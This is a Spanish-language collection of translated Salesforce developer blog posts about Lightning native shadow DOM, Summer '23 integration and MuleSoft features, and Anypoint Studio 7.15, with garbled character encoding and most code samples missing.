Si cree que est谩 listo para aprender, los senderos para desarrolladores intermedios y avanzados en Trailhead pueden ayudarlo a encaminarse con todos estos temas y m谩s.

Aplicaci贸n de muestra Apex Recipes en Github

Gu铆a para desarrolladores de Apex

Gu铆a de referencia de idiomas de Apex

Centro de desarrolladores de Apex

Peter Chittum ha trabajado en software empresarial y habilitaci贸n para desarrolladores durante m谩s de 20 a帽os. Pas贸 los 煤ltimos 12 a帽os ayudando a miles de desarrolladores a tener 茅xito en la plataforma de Salesforce, y m谩s recientemente lider贸 el equipo de promotores de desarrolladores en Salesforce. Pasa su tiempo libre con su familia, anda en bicicleta de monta帽a, cocina y toca m煤sica. S铆galo en Twitter (@pchittum), LinkedIn (en/PeterChittum) o BlueSky Social (@pchittum.bsky.social).

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Cambios en la estructura del DOM interno del componente Lightning base para compatibilidad futura con sombras nativas 鈽侊笍

Cambios en la estructura del DOM interno del componente Lightning base para compatibilidad futura con sombras nativas 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Cambios en la estructura del DOM interno del componente Lightning base para la futura compatibilidad con sombras nativas | Blog de desarrolladores de Salesforce

Salesforce est谩 preparando los componentes base de Lightning para adoptar Shadow DOM nativo , lo que mejorar谩 el rendimiento de los componentes y los alinear谩 mejor con los est谩ndares de los componentes web. Como parte de esta fase de preparaci贸n, hemos cambiado la estructura DOM interna de algunos de nuestros componentes. Reci茅n comenzamos y continuaremos modificando las partes internas de los componentes en versiones posteriores. En esta publicaci贸n, discutiremos qu茅 cambiar谩 y c贸mo puede prepararse para ello.

驴Qu茅 es el DOM de sombra nativo?

Shadow DOM es un est谩ndar web que encapsula la estructura del modelo de objeto de documento (DOM) interno de un componente web. Esto nos da la capacidad de proporcionarle componentes robustos y seguros protegi茅ndolos de ser manipulados por HTML, CSS y JavaScript arbitrarios.

Actualmente, Salesforce mantiene un polyfill de sombra sint茅tico para navegadores heredados, como versiones anteriores de Microsoft Edge, pero ahora que todos los principales navegadores admiten DOM de sombra nativo, estamos preparando nuestros componentes para hacer lo mismo.

Con la introducci贸n del shadow DOM nativo, mejoraremos la encapsulaci贸n de los componentes, haci茅ndolos m谩s consistentes y seguros, y brindaremos una forma m谩s predecible de dise帽arlos. Esto resolver谩 una gran cantidad de problemas de compatibilidad con versiones anteriores y alinear谩 los componentes web Lightning con los est谩ndares web.

Sin embargo, puede provocar una fase de adaptaci贸n a medida que hacemos el cambio.

La implementaci贸n interna de los componentes b谩sicos est谩 cambiando

Hemos estado trabajando en la preparaci贸n de nuestros componentes base para adoptar el shadow DOM nativo. Los escenarios espec铆ficos en los que se romp铆a la encapsulaci贸n de los componentes base requer铆an que cre谩ramos un nuevo elemento contenedor dentro del l铆mite de la sombra. Para ayudar a ilustrar esto, veamos un componente base de ejemplo llamado lightning-foo . Antes, el componente se ve铆a as铆:

<dx-code-block title language code-block="

Example base component

芦>

A partir de Summer '23, se ver谩 as铆:

<dx-code-block title language code-block="

Example base component

芦>

La mec谩nica interna de los componentes b谩sicos no se dise帽贸 para acceder directamente y tratarse como una API confiable para su uso. En cambio, nuestros componentes preempaquetados estaban destinados a usarse tal como son, utilizando las API p煤blicas oficiales que hemos compartido abiertamente. Sin embargo, sabemos que algunos clientes est谩n utilizando componentes internos de manera no documentada. Si est谩 accediendo a los elementos internos de un componente base con fines de personalizaci贸n y prueba, tenga en cuenta estos cambios.

驴C贸mo puede arreglar su c贸digo personalizado y sus pruebas?

Al probar manualmente sus aplicaciones, es posible que detecte un componente personalizado que funcionaba anteriormente y que no tiene el aspecto esperado. Debido a estos cambios, sus pruebas automatizadas de un extremo a otro tambi茅n pueden fallar. En ambos casos, puede significar que su c贸digo personalizado o c贸digo de prueba depende de las partes internas de un componente base que ha cambiado . Exploremos estos dos problemas con m谩s profundidad:

Un componente no se ve como se esperaba:

  • Problema: Intentar dise帽ar el elemento o las clases personalizadas dentro de un componente base puede generar resultados imprevistos.
  • Soluci贸n: El cambio de sombra sint茅tica a componentes totalmente encapsulados con DOM de sombra nativo puede cambiar su estrategia de CSS. Al migrar sus personalizaciones de estilo a la sombra nativa, siga estos pasos:
    • Consulte la disponibilidad de un gancho para peinar . Ofrecen un excelente m茅todo para adaptar un componente sin profundizar en las complejidades del CSS subyacente o el shadow DOM.
    • Aseg煤rese de que el valor que est谩 aplicando al gancho de estilo est茅 vinculado a su sistema de dise帽o en lugar de un valor fijo y predefinido. Evite usar un valor codificado.

Una prueba de extremo a extremo falla:

  • Problema: Cualquier implementaci贸n que use combinadores CSS fallar谩. Por ejemplo, lightning-foo > p no coincidir谩 con nuestro marcado actualizado.
  • Soluci贸n: Los combinadores hacen que el CSS sea fr谩gil y deben evitarse a menos que se usen por una buena raz贸n. La mayor铆a de las veces, los combinadores se pueden eliminar sin ninguna regresi贸n. Si se desea un elemento espec铆fico, se pueden usar otros m茅todos de orientaci贸n que no se basen en el marcado que nunca cambia. Es decir, evite apuntar expl铆citamente a elementos HTML siempre que sea posible. Use otros selectores disponibles, como clases que permiten que su uso de CSS sea abstracto, modular y separado del elemento HTML. Si sus pruebas se basan en combinadores de CSS, le recomendamos que adopte el Modelo de automatizaci贸n de pruebas de interfaz de usuario (UTAM) para evitar cambios importantes en el futuro, ya que los objetos de la p谩gina se mantienen actualizados con todos los cambios de componentes.

Conclusi贸n

En resumen, estamos logrando avances significativos al preparar los componentes base de Lightning para adoptar Shadow DOM nativo, lo que garantizar谩 un mejor rendimiento y la alineaci贸n con los est谩ndares de los componentes web, adem谩s de mejorar la seguridad y la confiabilidad de los componentes. Al encapsular la estructura DOM interna, nos esforzamos por brindar una experiencia m谩s s贸lida y predecible tanto para los desarrolladores como para los usuarios.

Si bien estos cambios pueden presentar algunos desaf铆os iniciales, son pasos necesarios hacia un sistema m谩s estandarizado y preparado para el futuro. Seguimos comprometidos a informar y apoyar a los desarrolladores durante esta transici贸n.

En preparaci贸n para estos cambios, recomendamos adoptar ganchos de estilo y m茅todos de orientaci贸n como clases para garantizar que el uso de CSS siga siendo modular y adaptable. Adem谩s, recomendamos enf谩ticamente adoptar UTAM como su soluci贸n de prueba de extremo a extremo.

Est茅n atentos a m谩s actualizaciones y cambios a medida que Salesforce contin煤a optimizando y mejorando el marco de componentes Lightning. Al adoptar estas pr贸ximas mejoras, los desarrolladores pueden esperar una experiencia de desarrollo m谩s fluida y eficiente mientras crean aplicaciones poderosas en la Plataforma Salesforce.

M谩s recursos

Sobre los autores

Maeve Tuntivate es Gerente s茅nior en el equipo de Gesti贸n de productos en Salesforce.

Jesse Brack es ingeniero principal de UX en el equipo de ingenier铆a de sistemas de dise帽o de Salesforce.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Actualizaciones de integraci贸n de plataforma para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Actualizaciones de integraci贸n de plataforma para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Actualizaciones de integraci贸n de plataforma para desarrolladores | Aprende Moar Verano '23 | Blog de desarrolladores de Salesforce

隆脷nase a nosotros para Release Readiness Live esta semana! Los expertos en productos y los defensores de los desarrolladores analizar谩n y demostrar谩n las nuevas funciones en el lanzamiento de Summer '23 y, al final de nuestra transmisi贸n, responderemos sus preguntas. Sintonice a las 9 am PT el 19 de mayo para la sesi贸n de desarrolladores. 驴No puedes unirte a nosotros en vivo? La grabaci贸n se publicar谩 unas horas despu茅s de que finalice la transmisi贸n.

Introducci贸n

El verano finalmente est谩 aqu铆, y para nosotros los desarrolladores, 隆eso significa un nuevo y emocionante lanzamiento! Exploremos las pr贸ximas caracter铆sticas que trae la versi贸n Summer '23 para los desarrolladores centrados en la integraci贸n de plataformas.

Consultas SOQL anidadas en API

A partir de la API de la plataforma de Salesforce v58.0, SOQL ahora admite consultas de relaci贸n que atraviesan hasta cinco niveles de registros primarios y secundarios . Anteriormente, solo se admit铆a un nivel. Esta caracter铆stica est谩 disponible para objetos est谩ndar y personalizados, y est谩 limitada a consultas realizadas a trav茅s de llamadas de consulta REST y SOAP.

Prob茅moslo probando una relaci贸n padre-hijo de cuatro niveles usando la API REST con la siguiente consulta:

La llamada API ahora devuelve los registros anidados solicitados en la siguiente jerarqu铆a: Cuenta (Nivel 1) 鈫 Contacto (Nivel 2) 鈫 Caso (Nivel 3) 鈫 Comentarios del caso (Nivel 4).

Credenciales con nombre en Connect API

Otra caracter铆stica 煤til introducida en esta versi贸n es la capacidad de administrar credenciales con nombre tanto desde la API REST de Connect como desde la API de Connect . Ya no necesita interrumpir su configuraci贸n para crear credenciales a trav茅s de la interfaz de usuario; ahora, se puede hacer program谩ticamente,

Por ejemplo, puede recuperar la lista de todas las credenciales con nombre existentes realizando la siguiente llamada a la API:

GET /services/data/v58/named-credentials/named-credential-setup

Alternativamente, puede usar Apex con lo siguiente:

Tambi茅n puede crear credenciales con nombre mediante programaci贸n con la API y Apex. Este es un ejemplo de c贸mo hacerlo con Apex:

Consulte nuestra colecci贸n Postman para desarrolladores de Salesforce que presenta las nuevas API de Named Credentials y consulte la documentaci贸n de la clase NamedCredentials Apex para obtener m谩s informaci贸n.

Consultas API de GraphQL con funciones agregadas

Nuestra API GraphQL sigue mejorando y, con esta versi贸n, estamos agregando soporte para registros de consulta que usan funciones agregadas con o sin agrupaci贸n .

Podr谩 contar la cantidad de registros que coinciden con ciertos criterios, calcular el ingreso promedio en todas las cuentas o ver la cantidad total de todas las oportunidades.

Se admiten las siguientes funciones agregadas:

  • avg : devuelve el valor promedio de un campo num茅rico
  • count : devuelve el n煤mero de resultados que coinciden con los criterios de consulta
  • countDistinct : devuelve el n煤mero de valores de campo distintos y no nulos que coinciden con los criterios de consulta
  • grouping : especifica si se utiliza un campo al componer el grupo; usar con el argumento de consulta groupBy y el tipo ROLLUP o CUBE
  • max 鈥 Devuelve el valor m谩ximo de un campo
  • min 鈥 Devuelve el valor m铆nimo de un campo
  • sum : devuelve la suma total de un campo num茅rico

Echemos un vistazo a una consulta de ejemplo. La siguiente consulta calcula el ingreso anual promedio de todas las cuentas, agrupadas por industria. Tenga en cuenta que estamos usando el campo aggregate en uiapi en lugar de query , lo que nos permite aprovechar las funciones agregadas.

A continuaci贸n, una consulta de GraphQL utilizando la funci贸n de agregado promedio y la funci贸n de agrupaci贸n.

Tambi茅n puede realizar consultas tradicionales dentro de la misma solicitud:

Si desea probarlo, puede usar el cliente Altair GraphQL o nuestra colecci贸n Postman de desarrolladores de Salesforce .

Adaptador GraphQL de Salesforce Connect

En febrero de 2023, anunciamos la versi贸n piloto de nuestro adaptador GraphQL de Salesforce Connect y ahora nos complace anunciar que estar谩 disponible de forma general en esta versi贸n de verano de 2023.

El nuevo adaptador de Salesforce Connect para GraphQL act煤a como un cliente para integrar datos de fuentes externas que exponen sus capacidades a trav茅s de GraphQL. Lo hace de una manera de copia cero al hacer llamadas en vivo a los puntos finales de la API cuando una acci贸n del usuario o del sistema requiere registros espec铆ficos. Solo los datos necesarios para esa acci贸n en particular se consultan a trav茅s de GraphQL y Salesforce Connect no almacena ni almacena en cach茅 los registros devueltos por el servidor. Adem谩s, este adaptador incluye extensiones especiales para AWS AppSync y brinda acceso sin inconvenientes a Amazon RDS.

Para aprovechar este nuevo adaptador, simplemente cree una nueva fuente de datos externa y seleccione el tipo GraphQL .

Apex publica devoluciones de llamada en eventos de la plataforma

Con el lanzamiento de Summer '23, ahora puede realizar un seguimiento de la publicaci贸n de eventos de la plataforma utilizando Apex Publish Callbacks . Con esta nueva versi贸n, puede obtener el resultado final de una llamada EventBus.publish a trav茅s de una devoluci贸n de llamada de publicaci贸n de Apex que implemente. Esto le da la opci贸n de realizar un seguimiento de los errores o los 茅xitos para recibir el resultado final de la publicaci贸n. En funci贸n de ese resultado, puede decidir qu茅 acci贸n tomar, como intentar volver a publicar eventos fallidos, por ejemplo.

Para realizar un seguimiento de un evento fallido publicado, escriba una clase de Apex e implemente la interfaz EventBus.EventPublishFailureCallback . Si la operaci贸n asincr贸nica falla, se invocar谩 el m茅todo onFailure . El par谩metro result contiene los valores del campo EventUuid para cada evento fallido, pero no incluye los datos del evento en s铆.

Para realizar un seguimiento de las publicaciones de eventos exitosas, escriba una clase de Apex e implemente la interfaz EventBus.EventPublishSuccessCallback . Debido a que la mayor铆a de las llamadas de publicaci贸n suelen tener 茅xito, el procesamiento de publicaciones de eventos exitosas probablemente no sea una preocupaci贸n. Observe siempre los l铆mites de rendimiento y del gobernador de Apex cuando procese este tipo de resultado.

Como pr谩ctica recomendada, siempre cree eventos usando sObjectType.newSObject , ya que esto incluye un EventUuid que puede usar para rastrear el evento. Al crear eventos con este enfoque, recomendamos no publicar el mismo evento m谩s de una vez para evitar duplicaciones EventUuid .

M茅tricas mejoradas para eventos de plataforma

Con esta actualizaci贸n, ahora puede obtener m茅tricas de uso de eventos mejoradas para eventos de plataforma consultando el objeto PlatformEventUsageMetric . Esto le permite agregar datos de uso por nombre de evento y determinar qu茅 evento consume m谩s de sus asignaciones. Adem谩s, puede agrupar el uso por cliente para descubrir cu谩ntos clientes se suscribieron a un evento en particular y c贸mo se distribuye el uso de entrega de eventos entre los clientes. Adem谩s, utilice agregaciones granulares de tiempo de per铆odos diarios, por hora y de 15 minutos para segmentar los datos de uso para obtener informaci贸n m谩s detallada.

Cuando consulta PlatformEventUsageMetric , puede usar estos nuevos campos: EventName , Client , EventType y UsageType .

La siguiente consulta de ejemplo devuelve el uso de eventos por hora para eventos entregados entre el 1 y el 2 de abril en horario UTC. Tambi茅n agrega los resultados en intervalos de una hora seg煤n lo especificado por el campo TimeSegment . Dado que los campos EventName y Client se especifican en la consulta, los resultados se agrupar谩n por evento y cliente.

= 2023-04-01T00:00:00.000Z AND EndDate

Un resultado de muestra de la consulta anterior ser铆a similar al siguiente, incluir谩 datos de uso para todos los eventos, Order_Event__e y AccountChangeEvent .

Para obtener m谩s informaci贸n sobre esta funci贸n, consulte la documentaci贸n .

Acci贸n HTTP en flujo: GET es GA, POST es Beta

HTTP Callout ahora est谩 generalmente disponible para solicitudes GET , lo que le permite traer datos externos a Flow Builder sin ning煤n c贸digo. Usted crea una acci贸n de Llamada HTTP desde dentro de Flow, que puede llamar a cualquier API de servicio basado en la web. Despu茅s de agregar los detalles de la API, Flow Builder genera una acci贸n de llamada reutilizable que puede usar para diferentes flujos y en todo Salesforce.

Para ponerlo en uso, desde el elemento Acciones, seleccione Crear llamada HTTP .

Junto con GA, hemos incluido algunos cambios desde la 煤ltima versi贸n que agilizan el proceso de configuraci贸n.

Ahora puede editar una acci贸n de llamada HTTP de forma declarativa. Las API cambian regularmente, por ejemplo, cuando se agrega un nuevo campo obligatorio a un sistema externo. Anteriormente, para editar la acci贸n de llamada HTTP reutilizable, modific贸 la especificaci贸n de API generada autom谩ticamente, lo que requer铆a conocimientos de JSON. Ahora, puede editar la acci贸n con clics en el men煤 de configuraci贸n de Servicios externos.

Tambi茅n se simplific贸 la configuraci贸n de la estructura de datos de la respuesta de la API. Proporciona una respuesta de API de muestra y Flow infiere los tipos de datos y analiza el JSON para que los datos se puedan utilizar en los flujos. Anteriormente, si necesitaba cambiar los tipos de datos inferidos, editaba el propio JSON. Ahora, selecciona los tipos de datos del campo con clics. Ahora tambi茅n se admiten los tipos de datos de fecha, fecha/hora y booleano.

Como bonificaci贸n adicional, obtiene mensajes de error m谩s intuitivos al crear su acci贸n de llamada HTTP para ayudar a resolver el error y evitar problemas en el tiempo de ejecuci贸n.

Y si no puede OBTENER suficiente con HTTP Callout, ahora puede usar el m茅todo POST (Beta) para enviar datos de Salesforce a un servidor externo en Flow Builder. Por ejemplo, una nueva cuenta en Salesforce activa un flujo que crea una factura en un sistema externo. Seleccione POST (Beta) , ingrese un cuerpo de solicitud JSON de muestra que la API espera al configurar la llamada HTTP, y Flow infiere la estructura de datos externos.

Aprende MOAR

Guau, 隆son bastantes nuevas caracter铆sticas de integraci贸n de plataforma para probar! Conf铆o en que facilitar谩n la vida de muchos desarrolladores. 隆Pero hay m谩s por descubrir! Lo invito a explorar nuestras otras publicaciones de blog para conocer las 煤ltimas actualizaciones de LWC, Mobile, MuleSoft y Tableau.

Nuestros gerentes de producto y defensores de desarrolladores est谩n de vuelta para compartir las 煤ltimas caracter铆sticas y funcionalidades que llegar谩n en Summer '23. Para ayudarlo a desarrollarse m谩s r谩pido, hay una gran cantidad de contenido nuevo del equipo de relaciones con desarrolladores que cubre sus nuevas funciones favoritas. 隆Aseg煤rese de consultar Release Readiness Live el viernes 19 de mayo a las 9:00 a. m. PST, y lea lo 煤ltimo en el blog de desarrolladores de Salesforce para conocer m谩s innovaciones relacionadas con desarrolladores en el lanzamiento de Summer '23!

隆Explore los trailmixes de Trailhead con aspectos destacados de lanzamiento clave para desarrolladores o administradores, o ambos! Siga y complete un trailmix de Learn MOAR Summer '23 para administradores o desarrolladores para obtener una insignia exclusiva de la comunidad.

Otras lecturas

Sobre el Autor

Juli谩n Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educaci贸n y el intercambio de conocimientos y ha estado involucrado en la organizaci贸n de comunidades tecnol贸gicas y de desarrolladores desde 2001.

S铆galo en Twitter @julian_duque , @julianduque.co en Bluesky o LinkedIn .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Innovaciones de MuleSoft para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Innovaciones de MuleSoft para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Innovaciones de MuleSoft para desarrolladores | Aprende Moar Verano '23 | Blog de desarrolladores de Salesforce

隆脷nase a nosotros para Release Readiness Live esta semana! Los expertos en productos y los defensores de los desarrolladores analizar谩n y demostrar谩n las nuevas funciones en el lanzamiento de Summer '23 y, al final de nuestra transmisi贸n, responderemos sus preguntas. Sintonice a las 9 am PT el 19 de mayo para la sesi贸n de desarrolladores. 驴No puedes unirte a nosotros en vivo? La grabaci贸n se publicar谩 unas horas despu茅s de que finalice la transmisi贸n.

Introducci贸n

Con la digitalizaci贸n y la adopci贸n de la nube, estamos cobrando impulso en el espacio de integraci贸n. Para acelerar las innovaciones en el mundo digital, veamos qu茅 emocionantes funciones y lanzamientos MuleSoft tiene para ofrecer en Summer '23 a los desarrolladores.

Anypoint Code Builder: nuevas funciones beta en junio de 23

Anypoint Code Builder , o ACB para abreviar, es el IDE de 煤ltima generaci贸n de MuleSoft. Brinda a los usuarios una experiencia de desarrollo moderna y liviana para integraciones, API y automatizaci贸n, todo empaquetado en una sola herramienta unificada. Los desarrolladores pueden usar ACB en todo el ciclo de vida de API e integraci贸n, desde el dise帽o e implementaci贸n de API hasta la creaci贸n de integraciones e incluso la depuraci贸n, prueba e implementaci贸n de aplicaciones MuleSoft.

Debe preguntarse qu茅 tan diferente es de nuestro Anypoint Studio existente. En primer lugar, adoptamos VS Code como nuestra infraestructura de back-end con recomendaciones de tiempo de dise帽o basadas en IA. Y estamos llevando la reutilizaci贸n a un nivel completamente nuevo, con capacidades de bloques de construcci贸n que permiten muchos tipos de reutilizaci贸n en aplicaciones futuras.

Como muchos de ustedes ya sabr谩n, Anypoint Code Builder lanz贸 su Open Beta en enero de 2023. Desde entonces, el equipo ha estado trabajando diligentemente para implementar nuevas funciones para sus usuarios de Open Beta, comenzando con un lanzamiento en abril.

隆Estamos encantados de decir que no estamos disminuyendo la velocidad! Tenemos planeado un calendario de lanzamiento de verano emocionante con muchas caracter铆sticas nuevas y mejoras para que exploren nuestros usuarios de Open Beta.

Entonces, 驴cu谩les son las nuevas funciones que puede esperar en el lanzamiento de verano del 23 de junio?

  • Soporte extendido al avi贸n de control de la UE
  • Acceso a fragmentos globales y preempaquetados en la interfaz de usuario de Canvas
  • Busque conectores en Anypoint Exchange desde la interfaz de usuario de ACB Canvas
  • La capacidad de dise帽ar e implementar API de forma iterativa

Se espera que la extensi贸n de escritorio del mercado de VS est茅 disponible para los desarrolladores en agosto de 2023.

Nuestro lanzamiento de verano es el siguiente paso en nuestro camino hacia GA, que actualmente est谩 planificado para la segunda mitad de 2023.

Anypoint API Experience Hub: GA en junio de 23

Anypoint API Experience Hub permite a las empresas crear portales de API personalizados en minutos utilizando plantillas listas para usar para simplificar el acceso a las API y aumentar su uso y adopci贸n.

Con API Experience Hub, los administradores y desarrolladores de productos API pueden:

  • Cree y comparta portales de API sencillos utilizando plantillas predise帽adas
  • Cree portales de API de marca utilizando capacidades avanzadas de creaci贸n de portales con tecnolog铆a de Salesforce Experience Cloud
  • Aumente la adopci贸n de API en las comunidades internas y de socios con el consumo de API de autoservicio
  • Documente, gobierne y publique cualquier API en la empresa creada en cualquier puerta de enlace o entorno
  • Acceda a informaci贸n sobre el uso, la calidad y el cumplimiento de las API con an谩lisis contextuales

Los clientes podr谩n impulsar la adopci贸n de API y crear un ecosistema de API vibrante al proporcionar un 煤nico punto de acceso a todas las API empresariales (construidas en MuleSoft o de otro modo) en una experiencia atractiva.

API Experience Hub est谩 planeado para GA en junio de 2023.

Nuevas funciones de gobernanza de API: GA en julio de 2023

En 2022, se lanz贸 Anypoint API Governance. Nos ayud贸 a crear API de calidad mientras cumpl铆amos con los protocolos de seguridad y gobernanza. Actualmente, podemos identificar si la especificaci贸n API es conforme o no conforme y alertar a los usuarios si hay alg煤n problema de conformidad.

En Summer '23, ampliaremos a煤n m谩s las capacidades de API Governance a todos los aspectos del ciclo de vida de la API, desde el dise帽o de la API en el Centro de dise帽o hasta la implementaci贸n y administraci贸n de la API en API Manager. Con un gobierno de extremo a extremo, las organizaciones podr谩n garantizar que las API cumplan con las normas de cumplimiento y de la industria.

Nuevas funciones de Anypoint Studio 7.15: disponibilidad general en mayo de 2023

Con el fin de optimizar el rendimiento de Anypoint Studio y ofrecer una experiencia de integraci贸n perfecta, las siguientes funciones nuevas estar谩n disponibles para los desarrolladores. Le recomendamos que descargue la 煤ltima versi贸n de Anypoint Studio y pruebe las nuevas funciones:

  • Soporte ARM nativo: rendimiento m谩s r谩pido para usuarios en macOS
  • Opciones para excluir archivos de Studio de Windows Defender: rendimiento y estabilidad m谩s r谩pidos para los usuarios de Windows
  • Implementaci贸n mejorada a CloudHub 2.0
  • Experiencia de importaci贸n mejorada desde Design Center

Conclusi贸n

隆Esperamos que est茅 tan entusiasmado como nosotros con estas funciones! Si desea tenerlos en sus manos, simplemente inicie sesi贸n en la cuenta de prueba gratuita de 30 d铆as de Anypoint Platform y vea estos nuevos lanzamientos y herramientas.

Aprende MOAR

Nuestros gerentes de producto y defensores de desarrolladores est谩n de vuelta para compartir las 煤ltimas caracter铆sticas y funcionalidades que llegar谩n en Summer '23. Para ayudarlo a desarrollarse m谩s r谩pido, hay una gran cantidad de contenido nuevo del equipo de relaciones con desarrolladores que cubre sus nuevas funciones favoritas. 隆Aseg煤rese de consultar Release Readiness Live el viernes 19 de mayo a las 9:00 a. m. PST, y lea lo 煤ltimo en el blog de desarrolladores de Salesforce para conocer m谩s innovaciones relacionadas con desarrolladores en el lanzamiento de Summer '23!

隆Explore los trailmixes de Trailhead con aspectos destacados de lanzamiento clave para desarrolladores o administradores, o ambos! Siga y complete un trailmix de Learn MOAR Summer '23 para administradores o desarrolladores para obtener una insignia exclusiva de la comunidad.

Otras lecturas

Sobre el Autor

Akshata Sawant es promotora s茅nior de desarrolladores en Salesforce. Es autora, bloguera y oradora, y coautora del t铆tulo, MuleSoft for Salesforce Developers . Akshata es un miembro activo de la comunidad de MuleSoft y ex embajador de MuleSoft. Le encanta leer, bailar, viajar y la fotograf铆a, y es una gran entusiasta de la comida. S铆guela en Twitter y LinkedIn.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Anuncio de MuleSoft Anypoint Studio 7.15 con mayor rendimiento y facilidad de uso 鈽侊笍

Anuncio de MuleSoft Anypoint Studio 7.15 con mayor rendimiento y facilidad de uso 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

anunciamos MuleSoft Anypoint Studio 7.15 con mayor rendimiento y facilidad de uso | Blog de desarrolladores de Salesforce

隆MuleSoft se complace en anunciar la disponibilidad general de Anypoint Studio 7.15 ! Con Anypoint Studio , los desarrolladores tienen acceso a un IDE de escritorio para la integraci贸n y el desarrollo de API que incluye m贸dulos predise帽ados para requisitos de integraci贸n comunes.

En MuleSoft, nuestro objetivo es capacitar a los equipos para automatizar los flujos de trabajo, brindar experiencias a los clientes y ser m谩s productivos. Con Studio 7.15, continuamos con este compromiso. Hemos mejorado la experiencia del desarrollador y mejorado el rendimiento de Studio en todos los 谩mbitos. Tambi茅n fortalecimos la experiencia de importaci贸n de activos y agregamos m谩s a las opciones de implementaci贸n de CloudHub. Siga leyendo para conocer algunos de los aspectos m谩s destacados de esta versi贸n.

Escuchamos continuamente los comentarios de la comunidad de MuleSoft para ayudarnos a mejorar nuestros productos. Algunas de las principales solicitudes de Anypoint Studio son la capacidad de incluir en la lista de permitidos los archivos de Studio de los an谩lisis antivirus y brindar soporte nativo para la arquitectura centrada en ARM. Hemos a帽adido ambos.

En 7.15, agregamos la opci贸n para que los desarrolladores excluyan los archivos de Studio del antivirus de Microsoft Defender. Esto ayudar谩 a mejorar tanto el rendimiento como la estabilidad, lo que permitir谩 a nuestros usuarios ser m谩s productivos. Para aquellos en Windows, Studio ahora ser谩 a煤n m谩s receptivo y estable.

Adem谩s, Studio ahora admite de forma nativa la arquitectura centrada en ARM. Esto significa m谩s rendimiento y mayor estabilidad para los usuarios en sistemas como macOS.

Con estas dos adiciones, estamos ayudando a nuestros usuarios a experimentar un Studio m谩s r谩pido y m谩s estable, en los principales sistemas operativos.

Cuando se trata de hacer que los desarrolladores sean productivos, los detalles importan. No basta con facilitar el desarrollo, la depuraci贸n y la implementaci贸n. Los trabajos complementarios, como la importaci贸n de artefactos y la b煤squeda de contexto, tambi茅n son importantes.

Hoy, importar desde Design Center es m谩s f谩cil. Los desarrolladores ahora obtendr谩n los siguientes detalles y capacidades al importar fragmentos y especificaciones de API desde Design Center:

  • Tipo de activo mostrado
  • Se muestra la fecha en que se actualiz贸 el activo por 煤ltima vez
  • Capacidad de b煤squeda mejorada

Con la capacidad de buscar fragmentos y especificaciones en Design Center de Studio, los usuarios ahora pueden pasar menos tiempo buscando los activos que necesitan y m谩s tiempo creando flujos de trabajo.

En Studio 7.14, brindamos a los usuarios la capacidad de implementar en CloudHub 2.0 . Con Studio 7.15, estamos mejorando esa capacidad.

Ahora, los usuarios pueden implementar y volver a implementar una aplicaci贸n Mule en CloudHub 2.0, incluso si tiene el mismo nombre y destino que una existente en CloudHub 2.0. Esto es particularmente 煤til para volver a implementar despu茅s de realizar cambios en una aplicaci贸n Mule. Como resultado, los desarrolladores pueden pasar menos tiempo lidiando con los matices de la implementaci贸n.

Con la GA de nuestra 煤ltima versi贸n de Anypoint Studio, estamos entusiasmados de ver que los desarrolladores y los equipos se vuelven a煤n m谩s productivos a medida que crean integraciones y API. Descargue Anypoint Studio 7.15 hoy y d铆ganos lo que piensa.

Srini Sekaran es responsable de gesti贸n de productos para varios productos, incluido Anypoint Studio, el IDE de MuleSoft que miles de desarrolladores utilizan a diario para crear integraciones potentes.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Una actualizaci贸n importante de nuestro plan de jubilaci贸n Legacy API 鈽侊笍

Una actualizaci贸n importante de nuestro plan de jubilaci贸n Legacy API 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Una actualizaci贸n importante de nuestro plan de jubilaci贸n Legacy API | Blog de desarrolladores de Salesforce

En 2021, anunciamos unplan para retirar las versiones heredadas de la API de la plataforma anualmente, de modo que nuestros equipos de ingenier铆a pudieran centrar sus esfuerzos de desarrollo en mejorar las 煤ltimas versiones de la API para mejorar la experiencia general de Salesforce al crear funciones personalizadas a trav茅s de aplicaciones. En esta publicaci贸n, compartiremos una actualizaci贸n importante del plan de retiro de la API heredada, algunos consejos sobre c贸mo identificar el uso de la API heredada y c贸mo actualizar esas solicitudes de API.

Actualizaci贸n importante del plan de jubilaci贸n de la API heredada

